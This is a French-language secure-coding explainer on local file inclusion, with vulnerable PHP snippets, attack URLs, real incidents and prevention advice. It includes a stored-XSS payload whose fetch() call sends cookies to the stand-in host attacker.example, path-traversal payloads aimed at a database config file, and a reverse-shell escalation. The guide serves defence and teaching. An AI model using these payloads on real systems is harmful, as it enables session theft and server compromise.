Inclusion de fichiers locaux (LFI)

Qu’est-ce que l’inclusion de fichiers locaux ?

L’inclusion de fichiers locaux (LFI) est une vulnérabilité Web qui permet à un pirate malveillant d’accéder, d’afficher et/ou d’inclure des fichiers situés dans le système de fichiers du serveur Web dans le dossier racine du document.

Gravité:		grave
Prévalence:		découvert rarement
Portée:		n’apparaît que dans les logiciels liés au Web
Impact technique :		accès aux informations sensibles
Conséquences dans le pire des cas :		exécution de code à distance
Solution rapide:		ne pas utiliser les noms de fichiers de l’entrée de l’utilisateur

Comment fonctionne l’inclusion de fichiers locaux ?

Lors de l’écriture d’applications Web, les développeurs ont souvent besoin d’accéder à des fichiers côté serveur supplémentaires situés dans le répertoire de l’application ou ses sous-répertoires. Par exemple, les développeurs peuvent souhaiter inclure des fichiers de configuration et des modules d’application ou accéder et afficher des fichiers téléchargés par les utilisateurs, tels que des images ou des fichiers texte.

Pour accéder aux fichiers non statiques, les développeurs transmettent généralement les noms de fichiers via des paramètres d’entrée utilisateur. Par exemple, si l’application doit afficher des images téléchargées par des utilisateurs, l’auteur de l’application peut décider d’autoriser des noms arbitraires pour ces images. Dans le cas de langages de script comme PHP, les développeurs peuvent également avoir besoin d’inclure dynamiquement des fichiers contenant du code source.

Les vulnérabilités d’inclusion de fichiers locaux se produisent lorsqu’un utilisateur malveillant peut inclure un nom de fichier ou un chemin arbitraire dans l’entrée de l’utilisateur. Par exemple, si une application est conçue pour afficher une image arbitraire basée sur un paramètre d’URL, mais qu’un attaquant est capable d’utiliser cette fonctionnalité pour afficher le code source de l’application, cette application a une vulnérabilité LFI. Notez que si l’attaquant peut inclure un fichier malveillant à partir d’un emplacement distant , nous parlons d’une vulnérabilité d’inclusion de fichier distant (RFI) .

Inclusion de fichiers locaux vs traversée de répertoires

Les vulnérabilités d’inclusion de fichiers locaux sont souvent confondues avec la traversée de répertoire (traversée de chemin) , qui est similaire mais pas synonyme :

• LFI signifie que l’attaquant peut inclure des fichiers de code source ou afficher des fichiers situés dans le répertoire racine du document et ses sous-répertoires, mais cela ne signifie pas que l’attaquant peut atteindre l’extérieur de la racine du document.
• La traversée de répertoire signifie que l’attaquant peut accéder aux fichiers situés en dehors du répertoire racine du document , par exemple, les fichiers journaux ou le fichier passwd , et l’attaque n’implique pas l’exécution de code malveillant.

Les deux vulnérabilités sont souvent confondues car elles se produisent fréquemment ensemble et ont la même cause première : le développeur autorise le passage des chemins d’accès aux fichiers locaux dans le cadre de l’entrée utilisateur ( CWE-73 ).

Remarque : Certaines définitions considèrent que l’inclusion de fichiers locaux est limitée aux cas où le fichier inclus contient du code source et est également exécuté. Par exemple, dans l’index CWE, la définition de l’inclusion de fichier local est CWE-98 : contrôle incorrect du nom de fichier pour l’instruction include/require dans le programme PHP .

Exemples d’attaques par inclusion de fichiers locaux

Vous trouverez ci-dessous des exemples de code PHP avec des vulnérabilités d’inclusion de fichiers locaux, ainsi que différents vecteurs d’attaque LFI sur les applications qui incluent ce code.

LFI qui conduit à la divulgation d’informations sensibles

Le développeur d’une application PHP souhaite que l’utilisateur puisse lire des poèmes stockés dans des fichiers texte sur le serveur Web. Ces poèmes sont écrits dans des fichiers texte, téléchargés par d’autres utilisateurs et stockés dans un répertoire de poèmes relatif . Ensuite, les poèmes sont affichés dans le navigateur Web dans le cadre de la page HTML. Ce qui suit est un extrait de code du fichier poems/display.php .

 
    $file = $_GET["file"];
    $handle = fopen($file, 'r');
    $poem = fread($handle, 1);
    fclose($handle);
    echo $poem;
?>

Comme vous pouvez le voir, le nom du fichier est extrait directement de l’en-tête de la requête HTTP. Par conséquent, vous pouvez accéder et afficher un poème appelé poem.txt en utilisant l’URL suivante :

http://victim.example/my_app/display.php?file=poem.txt

Le vecteur d’attaque

L’attaquant abuse de ce script en manipulant la requête GET à l’aide de la charge utile suivante :

http://victim.example/my_app/display.php?file=../config/database.php

Le script display.php navigue jusqu’au répertoire racine du document, puis jusqu’au sous- répertoire /config/ . Là, il inclut le fichier de configuration de la base de données database.php , qui contient le nom d’utilisateur et le mot de passe utilisés pour se connecter à la base de données. Les données sont exposées dans le cadre du code HTML et l’attaquant n’a qu’à examiner le code source de la page pour savoir comment accéder directement à la base de données.

LFI qui conduit à des scripts intersites

Les attaquants peuvent également utiliser le code ci-dessus pour escalader l’attaque vers le script intersite stocké (XSS) .

Le vecteur d’attaque

L’attaquant utilise d’abord la fonctionnalité de téléchargement de fichier de poème pour télécharger le « poème » suivant sous la forme d’un fichier texte appelé poem42.txt :

<script>fetch("http://attacker.example?log="+encodeURIComponent(document.cookie));</script>

Ensuite, l’attaquant soumet une demande pour inclure le poème :

http://victim.example/my_app/display.php?file=poem42.txt

Étant donné que le contenu du poème est destiné à être directement affiché dans le cadre du code HTML, le code de la page inclut désormais une vulnérabilité de script intersite stockée. L’attaquant peut livrer ce lien à n’importe quel nombre de victimes, et quiconque l’ouvre verra ses cookies de session envoyés au site attaquant.exemple contrôlé par l’attaquant .

LFI qui conduit à l’exécution de code à distance

Le développeur de la même application PHP souhaite également pouvoir inclure des modules de manière dynamique. Ce qui suit est un extrait de code du fichier index.php .

 
  $module = $_GET["module"];
  include $module;
?>

Encore une fois, le nom de fichier est extrait directement de la requête GET HTTP. Par conséquent, vous pouvez inclure le module welcome.php comme suit :

http://victim.example/index.php?module=welcome.php

Le vecteur d’attaque

L’ attaquant utilise d’ abord la fonctionnalité de téléchargement de poème pour télécharger poem42.txt , qui contient le code source PHP du pentest monkey reverse shell .

Ensuite, l’attaquant manipule la requête GET à index.php pour inclure le poème au lieu d’un module :

http://victim.example/index.php?module=poems/poem42.txt

En conséquence, l’application exécute le code du reverse shell ( exécution de code à distance ), accordant à l’attaquant un accès à distance à la ligne de commande du serveur.

Conséquences potentielles d’une attaque par inclusion de fichiers locaux

Comme vous pouvez le voir dans les exemples ci-dessus, les vulnérabilités d’inclusion de fichiers locaux peuvent avoir diverses conséquences, selon la fonctionnalité de l’application vulnérable. Voici quelques exemples:

• Si l’application affiche des images arbitraires, elle peut être utilisée pour afficher des informations sensibles telles que le code source ou les fichiers de configuration.
• Si l’application vous permet de télécharger des fichiers arbitraires tels que des fichiers PDF, elle peut être utilisée pour télécharger des informations sensibles telles que le code source ou des fichiers de configuration.
• Si l’application inclut un contenu de fichier arbitraire dans le cadre de la page HTML, il peut être utilisé pour exploiter les vulnérabilités de script intersite.
• Si l’application inclut dynamiquement des fichiers de code source arbitraires et que l’attaquant est capable de télécharger ou de modifier des fichiers, elle peut être utilisée pour passer à l’exécution de code à distance .

Exemples de vulnérabilités d’inclusion de fichiers locaux bien connues

• Le hack 2016 Adult Friend Finder : Les attaquants ont utilisé une vulnérabilité LFI pour compromettre 412 millions de comptes, exposant des e-mails, des mots de passe, ainsi que des données confidentielles telles que les préférences sexuelles et l’état civil. La société a été avertie de la vulnérabilité plus tôt mais ne l’a pas corrigée immédiatement.
• Le piratage de weather.gov de 2012 : les attaquants ont utilisé le LFI et la traversée de répertoires pour recueillir des informations sensibles sur le serveur du service météorologique national.
• La vulnérabilité TimThumb 2011 : Une vulnérabilité LFI dans un script de module complémentaire WordPress a été utilisée pour compromettre plus de 1,2 million de sites Web rien qu’en 2011. Malgré le fait que cet addon vulnérable ait été abandonné en 2014, les développeurs l’utilisent toujours .

Comment détecter les vulnérabilités d’inclusion de fichiers locaux ?

La meilleure façon de détecter les vulnérabilités d’inclusion de fichiers locaux varie selon qu’elles sont déjà connues ou inconnues.

• Si vous n’utilisez que des logiciels commerciaux ou open source et que vous ne développez pas de logiciels vous-même, vous trouverez peut-être qu’il suffit d’identifier la version exacte du système ou de l’application que vous utilisez. Si la version identifiée est vulnérable à l’inclusion de fichiers locaux, vous pouvez supposer que vous êtes sensible à cette vulnérabilité d’inclusion de fichiers locaux. Vous pouvez identifier la version manuellement ou utiliser un outil de sécurité approprié, tel qu’un logiciel d’analyse de la composition logicielle (SCA) dans le cas d’applications Web ou un analyseur de réseau dans le cas de systèmes et d’applications en réseau.Si vous développez votre propre logiciel ou souhaitez potentiellement trouver des vulnérabilités d’inclusion de fichiers locaux inconnues (jours zéro) dans des applications connues, vous devez être en mesure d’exploiter avec succès la vulnérabilité d’inclusion de fichiers locaux pour être certain qu’elle existe. Dans de tels cas, vous devez soit effectuer des tests d’intrusion manuels avec l’aide de chercheurs en sécurité ou de testeurs d’intrusion, soit utiliser un outil de test de sécurité des applications (scanner de vulnérabilité Web) qui peut exploiter automatiquement les vulnérabilités. 

Comment prévenir les vulnérabilités d’inclusion de fichiers locaux dans les applications Web ?

Il existe plusieurs méthodes qui vous permettent d’empêcher les vulnérabilités d’inclusion de fichiers locaux dans votre code :

1. Évitez complètement de transmettre des noms de fichiers dans l’entrée utilisateur. Cela inclut non seulement l’entrée directe de l’utilisateur, mais également d’autres sources de données qui peuvent être manipulées par l’attaquant, par exemple les cookies.
2. Si votre application nécessite que vous utilisiez des noms de fichiers à partir de l’entrée de l’utilisateur et qu’il n’y a aucun moyen de contourner cela, créez une liste blanche de fichiers sûrs.
3. Si vous ne pouvez pas créer de liste blanche parce que vous utilisez des noms de fichiers arbitraires (par exemple, si les utilisateurs téléchargent les fichiers), stockez les noms de fichiers dans la base de données et utilisez les identificateurs de ligne de table dans l’entrée utilisateur. Vous pouvez également utiliser des mappages d’URL pour identifier les fichiers sans risque d’inclusion de fichiers locaux.

Les méthodes ci-dessus sont disponibles dans tous les langages de programmation et, par conséquent, chaque développeur peut facilement prévenir les vulnérabilités d’inclusion de fichiers locaux en utilisant des techniques de codage sécurisées. Il n’y a aucune excuse pour inclure un fichier local dans votre code.

Remarque : Ne vous fiez pas aux listes noires, à l’encodage ou aux méthodes de validation/nettoyage des entrées telles que le filtrage pour empêcher l’inclusion de fichiers locaux. Par exemple, n’essayez pas de limiter ou d’imposer des extensions de fichiers ou de bloquer des séquences de caractères spéciaux comme seule protection contre LFI. Les attaquants peuvent contourner ces filtres en utilisant plusieurs méthodes différentes telles que l’encodage d’URL et des wrappers tels que php://filter .

Comment atténuer les attaques d’inclusion de fichiers locaux ?

Les méthodes pour atténuer les attaques par inclusion de fichiers locaux diffèrent selon le type de logiciel :

• Dans le cas d’applications Web personnalisées, vous pouvez atténuer les attaques par inclusion de fichiers locaux en exécutant votre application Web dans un environnement limité, ce qui est très courant pour les API Web. Par exemple, au lieu d’exécuter toutes vos applications sur un seul serveur Linux avec Apache, vous pouvez exécuter chacune d’elles dans un conteneur Docker séparé. Cela limitera le nombre de fichiers auxquels l’attaquant peut accéder – il ne pourra pas accéder à d’autres applications dans le même dossier racine Web.
• Dans le cas d’inclusions de fichiers locaux connus dans des logiciels tiers, tels que par exemple un logiciel d’administration pour les routeurs matériels et les pare-feu, vous devez vérifier les derniers avis de sécurité pour un correctif et mettre à jour vers une version non vulnérable.

Dans le cas d’inclusions de fichiers locaux zero-day dans un logiciel tiers, vous pouvez appliquer des règles WAF (pare-feu d’application Web) temporaires pour l’atténuation. Cependant, cela ne fait que rendre l’inclusion de fichiers locaux plus difficile à exploiter et n’élimine pas le problème.